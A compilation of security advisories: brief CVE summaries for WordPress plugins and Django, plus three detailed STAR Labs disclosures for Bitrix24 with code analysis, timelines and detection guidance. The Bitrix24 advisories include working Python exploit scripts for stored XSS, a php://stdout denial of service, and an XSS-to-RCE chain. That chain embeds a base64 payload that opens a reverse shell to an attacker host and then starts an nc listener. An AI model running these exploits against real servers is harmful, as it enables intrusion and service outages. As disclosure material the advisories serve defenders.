Cross-Site Request Forgery (CSRF) leading to a Stored Cross-Site Scripting (XSS) vulnerability in Nazmul Hossain Nihal Login Screen Manager plugin <= 3.5.2 versions.

**Solution**

 No fix

No patched version is available.

Nano discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Login Screen Manager Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 2 present

 0 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-47182: WordPress Login Screen Manager plugin <= 3.5.2 - Unauth Stored Cross Site Scripting (XSS) via CSRF vulnerability - Patchstack

The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's email address. We are disclosing this issue as the developer has not yet released a patch, but continues to release updates and we escalated this issue to the plugin's team 30 days ago.

CVE-2023-3277: flutter-user.php in mstore-api/trunk/controllers – WordPress Plugin Repository

An issue was discovered in Django 3.2 before 3.2.23, 4.1 before 4.1.13, and 4.2 before 4.2.7. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.forms.UsernameField is subject to a potential DoS (denial of service) attack via certain inputs with a very large number of Unicode characters.

Django’s development team is strongly committed to responsible reporting and disclosure of security-related issues, as outlined in Django’s security policies.

As part of that commitment, we maintain the following historical list of issues which have been fixed and disclosed. For each issue, the list below includes the date, a brief description, the CVE identifier if applicable, a list of affected versions, a link to the full disclosure and links to the appropriate patch(es).

**Issues under Django’s security process¶**

All security issues have been handled under versions of Django’s security process. These are listed below.

**June 2, 2021 - CVE-2021-33571¶**

Possible indeterminate SSRF, RFI, and LFI attacks since validators accepted leading zeros in IPv4 addresses. Full description

**February 1, 2016 - CVE-2016-2048¶**

User with “change” but not “add” permission can create objects for ModelAdmin’s with save_as=True. Full description

**Versions affected¶**

*   Django 1.9 (patch)

**February 19, 2013 - No CVE¶**

Additional hardening of Host header handling. Full description

**December 10, 2012 - No CVE 2¶**

Additional hardening of redirect validation. Full description

**December 10, 2012 - No CVE 1¶**

Additional hardening of Host header handling. Full description

**September 9, 2011 - CVE-2011-4140¶**

Potential CSRF via Host header. Full description

**Versions affected¶**

This notification was an advisory only, so no patches were issued.

*   Django 1.2
*   Django 1.3

**Issues prior to Django’s security process¶**

Some security issues were handled before Django had a formalized security process in use. For these, new releases may not have been issued at the time and CVEs may not have been assigned.

CVE-2023-46695: Django


A logic error when using mb_strpos() to check for potential XSS payload in Bitrix24 22.0.300 allows attackers to bypass XSS sanitisation via placing HTML tags at the begining of the payload.







**Summary:**

**Product**

Bitrix24

**Vendor**

Bitrix24

**Severity**

Critical

**Affected Versions**

Bitrix24 22.0.300 (latest version as of writing)

**Tested Versions**

Bitrix24 22.0.300 (latest version as of writing)

**CVE Identifier**

CVE-2023-1715 & CVE-2023-1716

**CVE Description**

_(CVE-2023-1715)_: A logic error when using mb\_strpos() to check for potential XSS payload in Bitrix24 22.0.300 allows attackers to bypass XSS sanitisation via placing HTML tags at the begining of the payload. _(CVE-2023-1716)_: Cross-site scripting (XSS) vulnerability in Invoice Edit Page in Bitrix24 22.0.300 allows attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege.

**CWE Classification(s)**

CWE-83 Improper Neutralization of Script in Attributes in a Web Page

**CAPEC Classification(s)**

CAPEC-592 Stored XSS

**CVSS3.1 Scoring System:**

**Base Score:** 9.0 (Critical) **Vector String:** CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

Low

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

High

**Vulnerability Details:**

This report presents information on a Cross Site Scripting (XSS) vulnerability in Bitrix24’s Invoice Edit page that allows an attacker to run arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

Authorized users may edit an invoice they have access to via the crm.invoice.edit component, located at bitrix/components/bitrix/crm.invoice.edit/component.php and accessible via a post request to https://TARGET_HOST/bitrix/urlrewrite.php?SEF_APPLICATION_CUR_PAGE_URL=/crm/invoice/edit/INVOICE_ID/.

One of the fields that can be supplied by an attacker is the USER_DESCRIPTION field. As this field is rendered as HTML by a rich text editor in the frontend, sanitization is performed on this field to prevent XSS:

    // bitrix/components/bitrix/crm.invoice.edit/component.php lines 746 to 763
    
    $userDescription = trim($_POST['USER_DESCRIPTION']);
    $bSanitizeUserDescription = ($userDescription !== '' && mb_strpos($userDescription, '<')); // [1]
    if($bSanitizeComments || $bSanitizeUserDescription)
    {
        $sanitizer = new CBXSanitizer();
        $sanitizer->ApplyDoubleEncode(false);
        $sanitizer->SetLevel(CBXSanitizer::SECURE_LEVEL_MIDDLE);
        //Crutch for for Chrome line break behaviour in HTML editor.
        $sanitizer->AddTags(array('div' => array()));
        $sanitizer->AddTags(array('a' => array('href', 'title', 'name', 'style', 'alt', 'target')));
        $sanitizer->AddTags(array('p' => array()));
        $sanitizer->AddTags(array('span' => array('style')));
        if ($bSanitizeComments)
            $comments = $sanitizer->SanitizeHtml($comments);
        if ($bSanitizeUserDescription)
            $userDescription = $sanitizer->SanitizeHtml($userDescription);
        unset($sanitizer);
    }
    

The mb_strpos($userDescription, '<') check ([1]) is supposed to check if the user description contains the < character, which could indicate that this field contains HTML tags and thus requires sanitization. However, if the < character is the first character, mb_strpos($userDescription, '<') would be 0, resulting in $bSanitizeUserDescription being false. Thus, sanitization of this field can be completely bypassed.

The $userDescription field is subsequently saved to the database, along with the rest of the invoice data.

However, the built-in Bitrix XSS sanitizer, applied to the body parameters of every request, complicates exploitation of this vulnerability.

The XSS sanitizer uses several regular expressions (regex) to identify and sanitize potentially dangerous input. One of these aims to target HTML event handlers, which could lead to XSS. The regex used can be found in bitrix/modules/security/lib/filter/auditor/xss.php on line 173, and a simplified version is shown below:

    /(on[a-z]*)([a-z]{3}[\s]*=)/is
    

The regex aims to identify patterns such as onerror= and uses two capturing groups to split the dangerous string into two parts. A space is then added between the two parts, neutralizing the event handler. For example, onerror= would be transformed into oner ror=. Note that the regex allows any amount of whitespace between the event handler name (eg onerror) and the equals sign (=). This is compliant with the HTML specification. On its own, this sanitizer is secure.

When an authorized user navigates to the invoice edit page, the stored invoice is retrieved. The user description field is then passed to the CLightHTMLEditor class as the content to be edited.

The configuration for this editor, including the content, is injected into the JavaScript context after sanitization by the CUtil::PhpToJSObject function.

    <script>
    // ...
    // bitrix/modules/fileman/classes/general/light_editor.php line 254
    top.<?=$this->jsObjName?> = window.<?=$this->jsObjName?> = new window.JCLightHTMLEditor(<?=CUtil::PhpToJSObject($this->JSConfig)?>);
    // ...
    </script>
    

The CUtil::PhpToJSObject function calls the CUtil::JSEscape function (shown below) on the value of each key-value pair in the $this->JSConfig array.

    // bitrix/modules/main/tools.php lines 4349 to 4355
    
    public static function JSEscape($s){
        static $aSearch = array("\xe2\x80\xa9", "\\", "'", "\"", "\r\n", "\r", "\n", "\xe2\x80\xa8", "*/", "</");
        static $aReplace = array(" ", "\\\\", "\\'", '\\"', "\n", "\n", "\\n", "\\n", "*\\/", "<\\/");
        $val = str_replace($aSearch, $aReplace, $s);
        return $val;
    }
    

This function performs a simple string replacement on the input string $s to ensure that it does not contain any characters that may break out of a JavaScript string, such as ", ' or \.

Notably, this function replaces the byte string \xe2\x80\xa9 (U+2029 Unicode Paragraph Separator) with a regular space (U+0020 Space).

This is a significant transformation as the Bitrix XSS sanitizer does not regard the byte string \xe2\x80\xa9 as whitespace. Therefore, the string onerror\xe2\x80\xa9= would not be sanitized. However, CUtil::JSEscape would transform the string into onerror =, which is a valid HTML onerror event handler.

After sanitization and transformation by CUtil::JSEscape, the constructor of the JavaScript class JCLightHTMLEditor injects the content to be edited into HTML:

    // bitrix/js/fileman/light_editor/le_core.js lines 616 to 618
    
    this.pEditorDocument.open();
    this.pEditorDocument.write('<html><head></head><body>' + sContent + '</body></html>');
    this.pEditorDocument.close();
    

Therefore, a malicious attacker may create an invoice with user description <img src=x onerror\xe2\x80\xa9=alert(document.domain)>. As < is the first character in the string, sanitization in bitrix/components/bitrix/crm.invoice.edit/component.php is bypassed. Additionally, as onerror\xe2\x80\xa9= does not match the regex for an event handler, the built-in XSS sanitizer does not sanitize this string. Finally CUtil::JSEscape replaces \xe2\x80\xa9 with , resulting in <img src=x onerror =alert(document.domain)>. This string is then injected into HTML, resulting in XSS.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that edits an existing invoice to inject malicious HTML in the user description field.

A sample exploit script is shown below:

    # Bitrix24 Invoice Edit Page XSS RCE (CVE-2023-XXXXX)
    # Via: https://TARGET_HOST/crm/invoice/edit/XXXX
    # Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import base64
    
    import requests
    import re
    import os
    import typing
    import subprocess
    import threading
    
    HOST = "http://localhost:8000"
    SITE_ID = "s1"
    USERNAME = "user"
    PASSWORD = "abcdef"
    
    TARGET_INVOICE_ID = 3
    
    LPORT = 9001
    LHOST = "192.168.86.43"
    
    PROXY = {"http": "http://localhost:8080"}
    
    
    def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
        out = dict()
        if type(val) is dict:
            for k, v in val.items():
                child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
                for key, val in child.items():
                    out[prefix + key] = val
        elif type(val) in [list, tuple]:
            for i, item in enumerate(val):
                child = nested_to_urlencoded(item, prefix=f"[{i}]")
                for key, val in child.items():
                    out[prefix + key] = val
        else:
            out[prefix] = val
        return out
    
    
    def dict_to_str(d):
        return "&".join(f"{k}={v}" for k, v in d.items())
    
    
    def check_creds(cookie, sessid):
        return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
            "X-Bitrix-Csrf-Token": sessid
        }, cookies={
            "PHPSESSID": cookie,
        }, proxies=PROXY).text == "OK"
    
    
    def login(session, username, password):
        if os.path.isfile("./cached-creds.txt"):
            cookie, sessid = open("./cached-creds.txt").read().split(":")
            if check_creds(cookie, sessid):
                session.cookies.set("PHPSESSID", cookie)
                print("[+] Using cached credentials")
                return sessid
            else:
                print("[!] Cached credentials are invalid")
        session.get(HOST + "/")
        resp = session.post(
            HOST + "/?login=yes",
            data={
                "AUTH_FORM": "Y",
                "TYPE": "AUTH",
                "backurl": "/",
                "USER_LOGIN": username,
                "USER_PASSWORD": password,
            },
        )
        if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
            print(f"[!] Invalid credentials")
            exit()
        sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
            1
        )
        print(f"[+] Logged in as {username}")
        with open("./cached-creds.txt", "w") as f:
            f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
        return sessid
    
    
    def edit_invoice(session: requests.Session, sessid):
        payload = base64.b64encode("""
        fetch("/bitrix/admin/php_command_line.php?lang=en&"+window.parent.document.body.innerHTML.match(/sessid=[a-f0-9]{32}/)[0],{
            method:"POST",
            headers:{
              'Content-Type': 'application/x-www-form-urlencoded'
            },    
            body: new URLSearchParams({
                query: `$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);`,
                ajax: "y",
                result_as_text:"N"
            })
        })
        """.replace("LHOST", LHOST).replace("LPORT", str(LPORT)).encode())
        session.post(
            HOST + f"/bitrix/urlrewrite.php?SEF_APPLICATION_CUR_PAGE_URL=%2Fcrm%2Finvoice%2Fedit%2F{TARGET_INVOICE_ID}%2F",
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
            },
            data={
                "sessid": sessid,
                "CRM_INVOICE_EDIT_V12_active_tab": "tab_1",
                "ACCOUNT_NUMBER": TARGET_INVOICE_ID,
                "ORDER_TOPIC": "sss",
                "STATUS_ID": "N",
                "PAY_VOUCHER_DATE": "",
                "PAY_VOUCHER_NUM": "",
                "REASON_MARKED_SUCCESS": "",
                "DATE_MARKED": "",
                "REASON_MARKED": "",
                "PRIMARY_ENTITY_TYPE": "COMPANY",
                "PRIMARY_ENTITY_ID": "1",
                "SECONDARY_ENTITY_IDS": "7",
                "REQUISITE_ID": "0",
                "BANK_DETAIL_ID": "0",
                "PAY_SYSTEM_ID": "1",
                "UF_MYCOMPANY_ID": "0",
                "MC_REQUISITE_ID": "0",
                "MC_BANK_DETAIL_ID": "0",
                "RECUR_PARAM[PERIOD]": "1",
                "RECUR_PARAM[DAILY_INTERVAL_DAY]": "1",
                "RECUR_PARAM[DAILY_WORKDAY_ONLY]": "N",
                "RECUR_PARAM[WEEKLY_INTERVAL_WEEK]": "1",
                "RECUR_PARAM[WEEKLY_WEEK_DAYS][]": "1",
                "RECUR_PARAM[MONTHLY_TYPE]": "1",
                "RECUR_PARAM[MONTHLY_INTERVAL_DAY]": "1",
                "RECUR_PARAM[MONTHLY_WORKDAY_ONLY]": "N",
                "RECUR_PARAM[MONTHLY_MONTH_NUM_1]": "1",
                "RECUR_PARAM[MONTHLY_WEEKDAY_NUM]": "0",
                "RECUR_PARAM[MONTHLY_WEEK_DAY]": "1",
                "RECUR_PARAM[MONTHLY_MONTH_NUM_2]": "1",
                "RECUR_PARAM[YEARLY_TYPE]": "1",
                "RECUR_PARAM[YEARLY_INTERVAL_DAY]": "1",
                "RECUR_PARAM[YEARLY_WORKDAY_ONLY]": "N",
                "RECUR_PARAM[YEARLY_MONTH_NUM_1]": "1",
                "RECUR_PARAM[YEARLY_WEEK_DAY_NUM]": "0",
                "RECUR_PARAM[YEARLY_WEEK_DAY]": "1",
                "RECUR_PARAM[YEARLY_MONTH_NUM_2]": "1",
                "RECUR_PARAM[START_DATE]": "",
                "RECUR_PARAM[REPEAT_TILL]": "",
                "RECUR_PARAM[END_DATE]": "",
                "RECUR_PARAM[LIMIT_REPEAT]": "0",
                "RECUR_PARAM[DATE_PAY_BEFORE_TYPE]": "0",
                "RECUR_PARAM[DATE_PAY_BEFORE_COUNT]": "0",
                "RECUR_PARAM[DATE_PAY_BEFORE_PERIOD]": "1",
                "RECUR_PARAM[RECURRING_EMAIL_ID]": "22",
                "COMMENTS": "",
                "USER_DESCRIPTION": b"<img src=x onerror\xe2\x80\xa9=eval(atob('"+payload+b"'))>",
                "INVOICE_PRODUCT_DATA": "[{\"ID\":0,\"PRODUCT_NAME\":\"Bitrix Site Manager\",\"PRODUCT_ID\":23,\"QUANTITY\":\"1.0000\",\"MEASURE_CODE\":796,\"MEASURE_NAME\":\"pcs.\",\"PRICE\":\"0.00\",\"PRICE_EXCLUSIVE\":\"0.00\",\"PRICE_NETTO\":\"0.00\",\"PRICE_BRUTTO\":\"0.00\",\"DISCOUNT_TYPE_ID\":1,\"DISCOUNT_RATE\":\"0.00\",\"DISCOUNT_SUM\":\"0.00\",\"TAX_RATE\":\"0.00\",\"TAX_INCLUDED\":\"N\",\"CUSTOMIZED\":\"Y\",\"SORT\":10}]",
                "INVOICE_PRODUCT_DATA_SETTINGS": "{\"ENABLE_DISCOUNT\": \"N\",\"ENABLE_TAX\": \"N\"}",
                "saveAndView": "Save",
                "invoice_id": TARGET_INVOICE_ID
            }
        )
        print(f"[+] Edited invoice {TARGET_INVOICE_ID}")
    
    
    if __name__ == "__main__":
        s = requests.Session()
        s.proxies = PROXY
        sessid = login(s, USERNAME, PASSWORD)
        edit_invoice(s, sessid)
        print(f"[+] Visit this URL as admin to execute attack: {HOST}/crm/invoice/edit/{TARGET_INVOICE_ID}/")
        print("[+] Waiting for reverse shell connection")
        subprocess.run(["nc", "-nvlp", str(LPORT)])
    

**Exploit Conditions:**

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of the byte string \xe2\x80\xa9 in request bodies. The presence of this string together with other characters like < and = indicate possible exploitation of this vulnerability.

**Credits**

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline**

*   2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
*   2023-03-18 No reply from vendor, tried using the form again
*   2023-03-21 Email to \[email protected\]
*   2023-03-21 Email to \[email protected\]
*   2023-03-24 Got reply from \[email protected\], they asked us to email to \[email protected\] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
*   2023-03-29 Emailed to \[redacted\], \[redacted\] & \[redacted\]. Team member found the 3 email addresses via an \[USA bug bounty platform\]
*   2023-03-30 \[redacted\] replied to us
*   2023-03-31 \[redacted\] wanted us to report the bugs via that \[USA bug bounty platform\]
*   2023-03-31 Emailed back to \[redacted\] that we are unable to do so because it’s a private program in that \[USA bug bounty platform\]
*   2023-03-31 \[redacted\] emailed back with the invite
*   2023-03-31 Submitted the reports via that \[USA bug bounty platform\]
*   2023-03-31 Informed \[redacted\] again that we are unable to report all the bugs due to \[blah blah blah Requirements\]
*   2023-04-03 \[redacted\] replied that they had remove the \[blah blah blah Requirements\] limitations for us
*   2023-04-04 We submitted the final 2 reports
*   2023-06-21 \[redacted\] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on \[USA bug bounty platform\] instead of CVE publishing. Please let me know what do you think about that.”
*   2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
*   2023-09-22 \[redacted\] finally replied asking us if we are agreeable to publish the CVE in November 2023
*   2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
*   2023-09-22 \[redacted\] accepted the date
*   2023-11-01 Public Release

CVE-2023-1715: (CVE-2023-1715 & CVE-2023-1716) Bitrix24 Stored Cross-Site Scripting (XSS) via Improper Input Neutralization on Invoice Edit Page


Improper file stream access in /desktop_app/file.ajax.php?action=uploadfile in Bitrix24 22.0.300 allows unauthenticated remote attackers to cause denial-of-service via a crafted "tmp_url".







**Summary:**

**Product**

Bitrix24

**Vendor**

Bitrix24

**Severity**

High

**Affected Versions**

Bitrix24 22.0.300 (latest version as of writing)

**Tested Versions**

Bitrix24 22.0.300 (latest version as of writing)

**CVE Identifier**

CVE-2023-1718

**CVE Description**

Improper file stream access in /desktop\_app/file.ajax.php?action=uploadfile in Bitrix24 22.0.300 allows unauthenticated remote attackers to cause denial-of-service via a crafted “tmp\_url”.

**CWE Classification(s)**

CWE-835 Loop with Unreachable Exit Condition (‘Infinite Loop’)

**CAPEC Classification(s)**

CAPEC-545 Pull Data from System Resources

**CVSS3.1 Scoring System:**

**Base Score:** 7.5 (High) **Vector String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

None

**Scope (S)**

Unchanged

**Confidentiality (C)**

None

**Integrity (I)**

None

**Availability (A)**

High

**Vulnerability Details:**

This report presents information on a Denial of Service (DoS) vulnerability that allows an attacker cause the affected webserver to be unresponsive due to excessive computing resource consumption.

Unauthenticated users may use the file upload functionality provided by the /desktop_app/file.ajax.php?action=uploadfile. In addition to files uploaded within the request, files can also be specified by their URL. These files will then by downloaded and saved. This URL is specified in the tmp_url field of the supplied file object.

The checkFile function is eventually called on the file object:

    // bitrix/modules/main/lib/ui/uploader/file.php line 590
    
    public static function checkFile(&$file, File $f, $params)
    {
        $result = new Result();
        if ($file["error"] > 0)
            $result->addError(new Error(File::getUploadErrorMessage($file["error"]), "BXU347.2.9".$file["error"]));
        else if (array_key_exists("tmp_url", $file))
        {
            $url = new Uri($file["tmp_url"]); // [1]
            if ($url->getHost() == '' && 
                ($tmp = \CFile::MakeFileArray($url->getPath())) && // [2]
                is_array($tmp))
            {
                $file = array_merge($tmp, $file);
            }
            // ...
        }
        // ...
    }
    

In [1], the URL supplied in tmp_url is parsed. The path of the URL is then passed to CFile::MakeFileArray in [2].

    // bitrix/modules/main/classes/general/file.php line 1734
    
    public static function MakeFileArray($path, $mimetype = false, $skipInternal = false, $external_id = "")
    {
        $io = CBXVirtualIo::GetInstance();
        $arFile = array();
    
        if(intval($path)>0)
        {
            // ...
        }
    
        $path = preg_replace("#(?<!:)[\\\\\\/]+#", "/", $path);
    
        if($path == '' || $path == "/")
        {
            return NULL;
        }
    
        if(preg_match("#^(php://filter|phar://)#i", $path))
        {
            return NULL;
        }
    
        if(preg_match("#^(http[s]?)://#", $path))
        {
            // ...
        }
        elseif(preg_match("#^(ftp[s]?|php)://#", $path)) // [3]
        {
            if($fp = fopen($path,"rb"))
            {
                $content = "";
                while(!feof($fp)) // [4]
                {
                    $content .= fgets($fp, 4096);
                }
    
                if($content <> '')
                {
                    // ...
                }
    
                fclose($fp);
            }
        }
        else
        {
            // ...
        }
    
        // ..
    }
    

If the path starts with ftp://, ftps:// or php://, control flow enters the branch at [3]. The file is then opened with fopen, and its contents are read in chunks of 4096 bytes until the EOF marker is reached ([4]).

However, if an attacker specifies the PHP stream php://stdout, the EOF marker will never be reached as the stream is a write-only stream. Therefore, the program will enter an infinite loop as !feof($fp) will always be true.

This will result in the process handling the request consuming as much compute time as it is allowed, preventing the handling of other legitimate requests.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that results in Denial of Service via resource exhaustion on the target server.

A sample exploit script is shown below:

    # Bitrix24 Improper File Stream Access DoS (CVE-2023-XXXXX)
    # Via: https://TARGET_HOST/desktop_app/file.ajax.php?action=uploadfile
    # Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import random
    
    import requests
    import re
    
    HOST = "http://localhost:8000"
    SITE_ID = "s1"
    
    PROXY = {"http": "http://localhost:8080"}
    
    
    def preauth(s):
        res = s.get(HOST)
        return re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), res.text).group(
            1
        )
    
    
    def DoS(session, sessid):
        CID = random.randint(0, pow(10, 5))
        session.post(
            HOST + "/desktop_app/file.ajax.php?action=uploadfile",
            headers={
                "X-Bitrix-Csrf-Token": sessid,
                "X-Bitrix-Site-Id": SITE_ID,
            },
            data={
                "bxu_info[mode]": "upload",
                "bxu_info[CID]": str(CID),
                "bxu_info[filesCount]": "1",
                "bxu_info[packageIndex]": f"pIndex{CID}",
                "bxu_info[NAME]": f"file{CID}",
                "bxu_files[0][name]": f"file{CID}",
                "bxu_files[0][files][default][tmp_url]": f"a:php://stdout",
                "bxu_files[0][files][default][tmp_name]": f"file{CID}",
            },
            proxies=PROXY,
        )
    
    
    if __name__ == "__main__":
        s = requests.Session()
        s.proxies = PROXY
        sessid = preauth(s)
        print("[+] Launching DoS...")
        DoS(s, sessid)
    

**Exploit Conditions:**

This vulnerability can be exploited by unauthenticated users.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of php://stdout or file:///dev/stdout in request bodies.

**Credits**

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline**

*   2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
*   2023-03-18 No reply from vendor, tried using the form again
*   2023-03-21 Email to \[email protected\]
*   2023-03-21 Email to \[email protected\]
*   2023-03-24 Got reply from \[email protected\], they asked us to email to \[email protected\] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
*   2023-03-29 Emailed to \[redacted\], \[redacted\] & \[redacted\]. Team member found the 3 email addresses via an \[USA bug bounty platform\]
*   2023-03-30 \[redacted\] replied to us
*   2023-03-31 \[redacted\] wanted us to report the bugs via that \[USA bug bounty platform\]
*   2023-03-31 Emailed back to \[redacted\] that we are unable to do so because it’s a private program in that \[USA bug bounty platform\]
*   2023-03-31 \[redacted\] emailed back with the invite
*   2023-03-31 Submitted the reports via that \[USA bug bounty platform\]
*   2023-03-31 Informed \[redacted\] again that we are unable to report all the bugs due to \[blah blah blah Requirements\]
*   2023-04-03 \[redacted\] replied that they had remove the \[blah blah blah Requirements\] limitations for us
*   2023-04-04 We submitted the final 2 reports
*   2023-06-21 \[redacted\] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on \[USA bug bounty platform\] instead of CVE publishing. Please let me know what do you think about that.”
*   2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
*   2023-09-22 \[redacted\] finally replied asking us if we are agreeable to publish the CVE in November 2023
*   2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
*   2023-09-22 \[redacted\] accepted the date
*   2023-11-01 Public Release

CVE-2023-1718: (CVE-2023-1718) Bitrix24 Denial-of-Service (DoS) via Improper File Stream Access

Lack of mime type response header in Bitrix24 22.0.300 allows authenticated remote attackers to execute arbitrary JavaScript code in the victim's browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via uploading a crafted HTML file through /desktop_app/file.ajax.php?action=uploadfile.

**Summary:**

**Product**

Bitrix24

**Vendor**

Bitrix24

**Severity**

High

**Affected Versions**

Bitrix24 22.0.300 (latest version as of writing)

**Tested Versions**

Bitrix24 22.0.300 (latest version as of writing)

**CVE Identifier**

CVE-2023-1720

**CVE Description**

Lack of mime type response header in Bitrix24 22.0.300 allows authenticated remote attackers to execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via uploading a crafted HTML file through /desktop\_app/file.ajax.php?action=uploadfile.

**CWE Classification(s)**

CWE-434 Unrestricted Upload of File with Dangerous Type

**CAPEC Classification(s)**

CAPEC-592 Stored XSS

**CVSS3.1 Scoring System:**

**Base Score:** 9.6 (Critical) **Vector String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

High

**Vulnerability Details:**

This report presents information on a Cross Site Scripting (XSS) vulnerability that allows an attacker to run arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

Unauthenticated users may use the file upload functionality provided by the /desktop_app/file.ajax.php?action=uploadfile. This endpoint also returns the absolute path of the file on the server, which is of the form $BX_ROOT/upload/tmp/BXTEMP-YYYY-MM-DD/00/bxu/disk/XXX/XXX/default where XXX is a 32 character long hexadecimal string.

As the uploads directory is publicly accessible to the internet, an attacker can determine the URL where Apache will serve their malicious uploaded file. As the uploaded file does not have a file extension, Apache serves the file without a content-type header. Therefore, the browser will have to examine the contents of the response to determine its content type. Thus, if the file contains HTML tags, the browser will render the file as HTML and execute any JavaScript that is present in the file, resulting in XSS.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that uploads a malicious HTML file that executes JavaScript to display the current domain name.

A sample exploit script is shown below:

    # Bitrix24 Stored XSS RCE (CVE-2023-XXXXX)
    # Via: https://TARGET_HOST/desktop_app/file.ajax.php?action=uploadfile
    # Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import random
    
    import requests
    import re
    
    HOST = "http://localhost:8000"
    SITE_ID = "s1"
    
    PROXY = {"http": "http://localhost:8080"}
    
    
    def preauth(s):
        res = s.get(HOST)
        return re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), res.text).group(
            1
        )
    
    
    def upload(session, sessid, data):
        CID = random.randint(0, pow(10, 5))
        resp = session.post(
            HOST + "/desktop_app/file.ajax.php?action=uploadfile",
            headers={
                "X-Bitrix-Csrf-Token": sessid,
                "X-Bitrix-Site-Id": SITE_ID,
            },
            data={
                "bxu_info[mode]": "upload",
                "bxu_info[CID]": str(CID),
                "bxu_info[filesCount]": "1",
                "bxu_info[packageIndex]": f"pIndex{CID}",
                "bxu_info[NAME]": f"file{CID}",
                "bxu_files[0][name]": f"file{CID}",
            },
            files={
                "bxu_files[0][default]": (
                    "file",
                    data,
                    "text/plain",
                )
            },
            proxies=PROXY,
        ).json()
        return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
    
    
    if __name__ == "__main__":
        s = requests.Session()
        s.proxies = PROXY
        sessid = preauth(s)
        path = upload(s, sessid, "<script>alert(document.domain)</script>")
        print("Uploaded file to " + path)
        relpath = path[path.index("/upload"):]
        print("Check out " + HOST + relpath + " for XSS!")
    

**Exploit Conditions:**

This vulnerability can be exploited by unauthenticated users. However, the victim has to visit a specially crafted URL supplied by the attacker.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of <script> tags and other XSS vectors in uploaded files.

**Credits**

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline**

*   2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
*   2023-03-18 No reply from vendor, tried using the form again
